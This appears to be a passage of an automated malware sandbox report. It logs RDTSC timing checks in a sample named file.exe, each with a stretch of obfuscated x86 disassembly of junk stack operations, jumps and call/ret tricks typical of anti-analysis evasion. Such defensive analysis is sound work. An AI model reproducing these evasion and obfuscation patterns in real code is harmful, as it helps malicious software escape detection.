Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD063 second address: EFD06E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edi 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD2BA second address: EFD2BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD2BE second address: EFD2CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FAC54ED35ACh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFE18F second address: EFE1E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 jbe 00007FAC54CD2CEAh 0x0000000e jmp 00007FAC54CD2CE4h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007FAC54CD2CD8h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f mov edi, dword ptr [ebp+122D2714h] 0x00000035 push 00000000h 0x00000037 movzx esi, cx 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFE1E8 second address: EFE1EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFE1EC second address: EFE1F2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF1B5 second address: EFF1BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F005F5 second address: F00617 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jl 00007FAC54CD2CD6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FAC54CD2CE0h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0297B second address: F029B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FAC54ED35B8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F03250 second address: F03273 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAC54CD2CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FAC54CD2CE3h 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F07B96 second address: F07BA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FAC54ED35A6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F06C6D second address: F06C73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F07D9B second address: F07D9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F08E44 second address: F08E48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F07D9F second address: F07DB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FAC54ED35A8h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F07DB5 second address: F07DBF instructions: 0x00000000 rdtsc 0x00000002 ja 00007FAC54CD2CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0ACA9 second address: F0ACAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0ACAF second address: F0ACB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0ACB4 second address: F0ACD4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAC54ED35A8h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push ecx 0x0000000f jmp 00007FAC54ED35ADh 0x00000014 pop ecx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0AE72 second address: F0AF2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC54CD2CDDh 0x00000009 popad 0x0000000a pop ecx 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007FAC54CD2CD8h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 mov dword ptr [ebp+1246A174h], esi 0x0000002c jnp 00007FAC54CD2CE3h 0x00000032 push dword ptr fs:[00000000h] 0x00000039 add dword ptr [ebp+122D1D6Bh], eax 0x0000003f mov dword ptr fs:[00000000h], esp 0x00000046 push 00000000h 0x00000048 push edx 0x00000049 call 00007FAC54CD2CD8h 0x0000004e pop edx 0x0000004f mov dword ptr [esp+04h], edx 0x00000053 add dword ptr [esp+04h], 00000015h 0x0000005b inc edx 0x0000005c push edx 0x0000005d ret 0x0000005e pop edx 0x0000005f ret 0x00000060 mov edi, dword ptr [ebp+122D3AF2h] 0x00000066 mov eax, dword ptr [ebp+122D1631h] 0x0000006c mov bx, D399h 0x00000070 movsx edi, ax 0x00000073 push FFFFFFFFh 0x00000075 adc edi, 3AEB5D9Dh 0x0000007b nop 0x0000007c push ebx 0x0000007d jmp 00007FAC54CD2CE6h 0x00000082 pop ebx 0x00000083 push eax 0x00000084 push edi 0x00000085 push esi 0x00000086 push eax 0x00000087 push edx 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0D0B7 second address: F0D0BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0BE40 second address: F0BF25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CDEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jc 00007FAC54CD2CDEh 0x00000010 push ebx 0x00000011 jp 00007FAC54CD2CD6h 0x00000017 pop ebx 0x00000018 nop 0x00000019 jmp 00007FAC54CD2CE4h 0x0000001e push dword ptr fs:[00000000h] 0x00000025 mov edi, dword ptr [ebp+122D2BB2h] 0x0000002b mov dword ptr fs:[00000000h], esp 0x00000032 push 00000000h 0x00000034 push esi 0x00000035 call 00007FAC54CD2CD8h 0x0000003a pop esi 0x0000003b mov dword ptr [esp+04h], esi 0x0000003f add dword ptr [esp+04h], 00000018h 0x00000047 inc esi 0x00000048 push esi 0x00000049 ret 0x0000004a pop esi 0x0000004b ret 0x0000004c mov eax, dword ptr [ebp+122D0B75h] 0x00000052 xor ebx, dword ptr [ebp+122D2B62h] 0x00000058 push FFFFFFFFh 0x0000005a push 00000000h 0x0000005c push esi 0x0000005d call 00007FAC54CD2CD8h 0x00000062 pop esi 0x00000063 mov dword ptr [esp+04h], esi 0x00000067 add dword ptr [esp+04h], 0000001Dh 0x0000006f inc esi 0x00000070 push esi 0x00000071 ret 0x00000072 pop esi 0x00000073 ret 0x00000074 mov edi, 6B1AFE33h 0x00000079 nop 0x0000007a jmp 00007FAC54CD2CE2h 0x0000007f push eax 0x00000080 pushad 0x00000081 jmp 00007FAC54CD2CE9h 0x00000086 push eax 0x00000087 push edx 0x00000088 jmp 00007FAC54CD2CE3h 0x0000008d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0EEB4 second address: F0EEB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0EEB9 second address: F0EEBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0EEBE second address: F0EEC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10DEC second address: F10DF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10DF0 second address: F10E17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c jnc 00007FAC54ED35A8h 0x00000012 push 00000000h 0x00000014 xchg eax, esi 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FAC54ED35ADh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0FFAB second address: F0FFAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F12DE5 second address: F12DF5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jne 00007FAC54ED35A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F12DF5 second address: F12DFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10F36 second address: F10F3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC2600 second address: EC262B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CE8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jmp 00007FAC54CD2CDCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC262B second address: EC2630 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11005 second address: F11010 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC2630 second address: EC263A instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAC54ED35AEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1450D second address: F14511 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F14511 second address: F1457B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jns 00007FAC54ED35A6h 0x0000000d pop ecx 0x0000000e popad 0x0000000f push eax 0x00000010 jng 00007FAC54ED35AAh 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a call 00007FAC54ED35A8h 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], edx 0x00000024 add dword ptr [esp+04h], 00000017h 0x0000002c inc edx 0x0000002d push edx 0x0000002e ret 0x0000002f pop edx 0x00000030 ret 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 mov dword ptr [ebp+12450E19h], eax 0x0000003b mov dword ptr [ebp+122D28DDh], edi 0x00000041 xchg eax, esi 0x00000042 push edi 0x00000043 pushad 0x00000044 jo 00007FAC54ED35A6h 0x0000004a jmp 00007FAC54ED35AFh 0x0000004f popad 0x00000050 pop edi 0x00000051 push eax 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F13663 second address: F13720 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FAC54CD2CE3h 0x0000000d nop 0x0000000e xor edi, dword ptr [ebp+122D3759h] 0x00000014 push dword ptr fs:[00000000h] 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 call 00007FAC54CD2CE4h 0x00000027 stc 0x00000028 pop ebx 0x00000029 mov eax, dword ptr [ebp+122D0E25h] 0x0000002f push 00000000h 0x00000031 push ebp 0x00000032 call 00007FAC54CD2CD8h 0x00000037 pop ebp 0x00000038 mov dword ptr [esp+04h], ebp 0x0000003c add dword ptr [esp+04h], 0000001Ah 0x00000044 inc ebp 0x00000045 push ebp 0x00000046 ret 0x00000047 pop ebp 0x00000048 ret 0x00000049 call 00007FAC54CD2CE7h 0x0000004e pop edi 0x0000004f mov dword ptr [ebp+122D1EF1h], ebx 0x00000055 push FFFFFFFFh 0x00000057 push 00000000h 0x00000059 push edx 0x0000005a call 00007FAC54CD2CD8h 0x0000005f pop edx 0x00000060 mov dword ptr [esp+04h], edx 0x00000064 add dword ptr [esp+04h], 00000016h 0x0000006c inc edx 0x0000006d push edx 0x0000006e ret 0x0000006f pop edx 0x00000070 ret 0x00000071 adc edi, 5BAEE2BAh 0x00000077 nop 0x00000078 push eax 0x00000079 push edx 0x0000007a jno 00007FAC54CD2CD8h 0x00000080 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F13720 second address: F13726 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F13726 second address: F1372A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1372A second address: F13744 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F13744 second address: F13749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F13749 second address: F1374F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1374F second address: F13753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1563D second address: F156CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007FAC54ED35B9h 0x0000000d jmp 00007FAC54ED35ADh 0x00000012 popad 0x00000013 nop 0x00000014 movsx ebx, si 0x00000017 push 00000000h 0x00000019 jmp 00007FAC54ED35B2h 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ecx 0x00000023 call 00007FAC54ED35A8h 0x00000028 pop ecx 0x00000029 mov dword ptr [esp+04h], ecx 0x0000002d add dword ptr [esp+04h], 0000001Bh 0x00000035 inc ecx 0x00000036 push ecx 0x00000037 ret 0x00000038 pop ecx 0x00000039 ret 0x0000003a and edi, dword ptr [ebp+1245243Eh] 0x00000040 xchg eax, esi 0x00000041 jmp 00007FAC54ED35B6h 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 push ecx 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F156CC second address: F156D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F156D1 second address: F156D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F20BCC second address: F20BD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F20BD2 second address: F20BEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FAC54ED35B5h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F20240 second address: F20258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jmp 00007FAC54CD2CDDh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2036A second address: F20379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 jnp 00007FAC54ED35A6h 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F20379 second address: F2039C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FAC54CD2CDFh 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 jno 00007FAC54CD2CD6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2039C second address: F203C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FAC54ED35B3h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F203C9 second address: F203CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F203CE second address: F203D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F206A3 second address: F206A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F206A7 second address: F20710 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35B2h 0x00000007 jnc 00007FAC54ED35A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 jns 00007FAC54ED35A6h 0x0000001a popad 0x0000001b pushad 0x0000001c pushad 0x0000001d jmp 00007FAC54ED35AEh 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 pushad 0x00000026 jmp 00007FAC54ED35B6h 0x0000002b jng 00007FAC54ED35A6h 0x00000031 pushad 0x00000032 popad 0x00000033 jmp 00007FAC54ED35ABh 0x00000038 popad 0x00000039 push esi 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F25753 second address: F25757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2B472 second address: F2B477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2B5CE second address: F2B5D8 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FAC54CD2CD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2B5D8 second address: F2B5F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FAC54ED35AEh 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e je 00007FAC54ED35A6h 0x00000014 popad 0x00000015 jg 00007FAC54ED35AEh 0x0000001b push esi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2B8DC second address: F2B8E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2B8E4 second address: F2B900 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FAC54ED35B4h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BD02 second address: F2BD08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BD08 second address: F2BD0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F329CE second address: F329D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F329D2 second address: F329F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007FAC54ED35B2h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F329F6 second address: F329FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F329FC second address: F32A04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F32A04 second address: F32A08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31820 second address: F31824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31C86 second address: F31CA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jc 00007FAC54CD2CD6h 0x0000000b popad 0x0000000c jp 00007FAC54CD2CDCh 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push edi 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31CA6 second address: F31CBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35B0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31CBA second address: F31CC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31CC4 second address: F31CCA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31CCA second address: F31CD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F32192 second address: F32198 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F32198 second address: F3219C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3219C second address: F321B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35B9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F32472 second address: F32478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3271A second address: F3272A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jp 00007FAC54ED35A8h 0x0000000e rdtsc
